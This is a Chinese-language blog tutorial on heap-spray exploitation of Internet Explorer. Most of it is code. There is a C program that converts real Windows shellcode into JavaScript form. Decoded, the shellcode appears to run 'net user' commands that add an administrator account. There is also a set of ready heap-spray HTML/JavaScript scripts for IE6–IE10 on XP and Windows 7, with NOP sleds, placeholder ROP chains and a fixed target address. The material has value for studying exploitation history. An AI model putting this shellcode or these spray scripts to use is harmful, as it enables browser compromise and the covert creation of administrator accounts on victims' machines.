HeapSpray-堆喷射技术

by Netfairy - 2015-09-30

    堆喷射(Heap Spray)是一种 payload 传递技术,借助堆来将 shellcode 放置在可预测的堆地址上,然后稳
定地跳入 shellcode。为了实现 heap spray,你需要在劫持 EIP 前,能够先分配并填充堆内存块。“需要..能
够..”的意思是在触发内存崩溃前,你必须能够在目标程序中分配可控内存数据。浏览器已经为此提供了
一种很简单的方法,它能够支持脚本,可直接借助 javascript 或者 vbscript 在触发漏洞前分配内存。堆喷射
的运用并不局限于浏览器,例如你也可以在 Adobe Reader 中使用 Javascript 或者 Actionscript 将 shellcode
放置在可预测的堆地址上。
广义:如果在控制 EIP 前,你能够在可预测的地址上分配内存,那么你就是在使用 heap spray 技术。
现在我们看下 WEB 浏览器,实现堆喷射的关键点在于触发漏洞前,你能够将 shellcode 传输到正确的内存
地址。下面是实现堆喷射需要做的各项步骤:
1、 喷射堆块
2、 触发漏洞
3、 控制 EIP 并使其指向堆中

在编写利用程序之前,我们还需要讲ShellCode转换为JavaScript支持的形式。我们获取一段“添加用户”的ShellCode之后,一般是C语言的形式,下面讲其转换为JavaScript字符串形式:ShellCode转换为JavaScript支持的形式代码:

#include <stdio.h>
#include <stdlib.h>
unsigned char buf[] = {
    	"\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42"
      "\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03"
      "\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b"
      "\x34\xaf\x01\xc6\x45\x81\x3e\x57\x69\x6e\x45\x75\xf2\x8b\x7a"
      "\x24\x01\xc7\x66\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf"
      "\xfc\x01\xc7\x68\x4b\x33\x6e\x01\x68\x20\x42\x72\x6f\x68\x2f"
      "\x41\x44\x44\x68\x6f\x72\x73\x20\x68\x74\x72\x61\x74\x68\x69"
      "\x6e\x69\x73\x68\x20\x41\x64\x6d\x68\x72\x6f\x75\x70\x68\x63"
      "\x61\x6c\x67\x68\x74\x20\x6c\x6f\x68\x26\x20\x6e\x65\x68\x44"
      "\x44\x20\x26\x68\x6e\x20\x2f\x41\x68\x72\x6f\x4b\x33\x68\x33"
      "\x6e\x20\x42\x68\x42\x72\x6f\x4b\x68\x73\x65\x72\x20\x68\x65"
      "\x74\x20\x75\x68\x2f\x63\x20\x6e\x68\x65\x78\x65\x20\x68\x63"
      "\x6d\x64\x2e\x89\xe5\xfe\x4d\x53\x31\xc0\x50\x55\xff\xd7"};                                            
 
int main(int argc, char **argv)
{
	int i = 0;
	int n = sizeof(buf)-1;
	if (n & 1) n--;
	FILE *fp = fopen("c:\\shellocde.txt", "w");
	for (i = 0; i < n; i += 2)
	{
		fprintf(fp, "\\u%02X%02X", buf[i+1], buf[i]);
	}
	n = sizeof(buf)-1;
	if (n & 1)
	{
		fprintf(fp, "\\u%02X%02X", 0, buf[i]);
	}
	fclose(fp);
 
	return 0;
}

下面我收集了一些常用的spray脚本:

适用于Windows XP sp3 IE6与IE7

<html>
<script >

    var shellcode, chunk_size = 0x40000, headersize = 0x24, nops, nops_len;
    shellcode = unescape("%u654e%u6674");
    shellcode += unescape("%u6961%u7972");  //Netfairy
    nops = unescape("%u9090%u9090");
    nops_len = chunk_size - (headersize + shellcode.length);
    while (nops.length < nops_len)
        nops += nops;
    nops = nops.substring(0, nops_len);
    var heap_chunks = new Array();
    for (var i = 0 ; i < 300 ; i++)
        heap_chunks[i] = nops + shellcode;
    alert("Spray done")
</script>
</html>

适用于WINDOWS XP SP3 IE8

<!--0x20302228->rop-->


<html>
<body>
<div id='blah'></div>
<script language='javascript'>
         var div_container = document.getElementById('blah');
         div_container.style.cssText = "display:none";
         var data;
         offset = 0x104;
         junk = unescape("%u2020%u2020");
         while(junk.length < 0x1000) junk+=junk;

         rop = unescape("%u4141%u4141%u4242%u4242%u4343%u4343%u4444%u4444%u4545%u4545%u4646%u4646%u4747%u4747");
         shellcode = unescape("%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc");
         data = junk.substring(0,offset) + rop + shellcode;
         data += junk.substring(0,0x800-offset-rop.length-shellcode.length); //20+rop+shellcode+20 length==0x800

         while(data.length < 0x80000) data += data;
         for (var i=0; i < 0x400; i++)
         {
                 var obj = document.createElement("button");
                 obj.title = data.substring(0,0x40000-0x58);
                 obj.style.fontFamily = data.substring(0,0x40000-0x58);
                 div_container.appendChild(obj);
         }
         alert("spray done");
</script>
</body>

</html>

适用于WIN7 X64 IE8 IE9 IE10(IE10所有模块强制随机化)

//0x20302228->ROP


<html>
<head></head>
<body>
<div id='blah'></div>
<script language='javascript'>
         var div_container = document.getElementById('blah');
         div_container.style.cssText = "display:none";
         var data;
         offset = 0x104;
         junk = unescape("%u2020%u2020");
         while(junk.length < 0x1000) junk+=junk;

         rop = unescape("%u4141%u4141%u4242%u4242%u4343%u4343%u4444%u4444%u4545%u4545%u4646%u4646%u4747%u4747");
         shellcode = unescape("%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc");
         data = junk.substring(0,offset) + rop + shellcode;
         data += junk.substring(0,0x800-offset-rop.length-shellcode.length);

         while(data.length < 0x80000) data += data;
         for (var i=0; i < 0x500; i++)
         {
                 var obj = document.createElement("button");
                 obj.title = data.substring(0,0x40000-0x58);
                 div_container.appendChild(obj);
         }
         alert('spray done!');
</script>
</body>
</html>

适用于WIN7 X86 IE8

//0x20302228->ROP

<html>
<script>
 
    //Fix BSTR spec
    function alloc(bytes, mystr) {
        while (mystr.length<bytes) mystr += mystr;
        return mystr.substr(0, (bytes-6)/2);
    }
     
    block_size = 0x1000; // 4096-bytes
     
    var NopSlide = unescape("%u9090%u9090");
    var Shellcode = '';
    while(NopSlide.length<0x901)
    {
        NopSlide += unescape("%u9090%u9090");
    }
     

    Shellcode += unescape('%ucccc%ucccc');  //0x20302228
    for (c = 0; c < block_size; c++)
    { 
        Shellcode += unescape('%u9090');
    }


    Shellcode = Shellcode.substring(0,block_size - NopSlide.length-2);
    var OBJECT = NopSlide + Shellcode+unescape('%u9090%u9090');;;
    OBJECT = alloc(0xfffe0, OBJECT); 
    var evil = new Array();
    for (var k = 0; k < 0x300; k++) {
        evil[k] = OBJECT.substr(0, OBJECT.length);
    }
     
</script>
</html>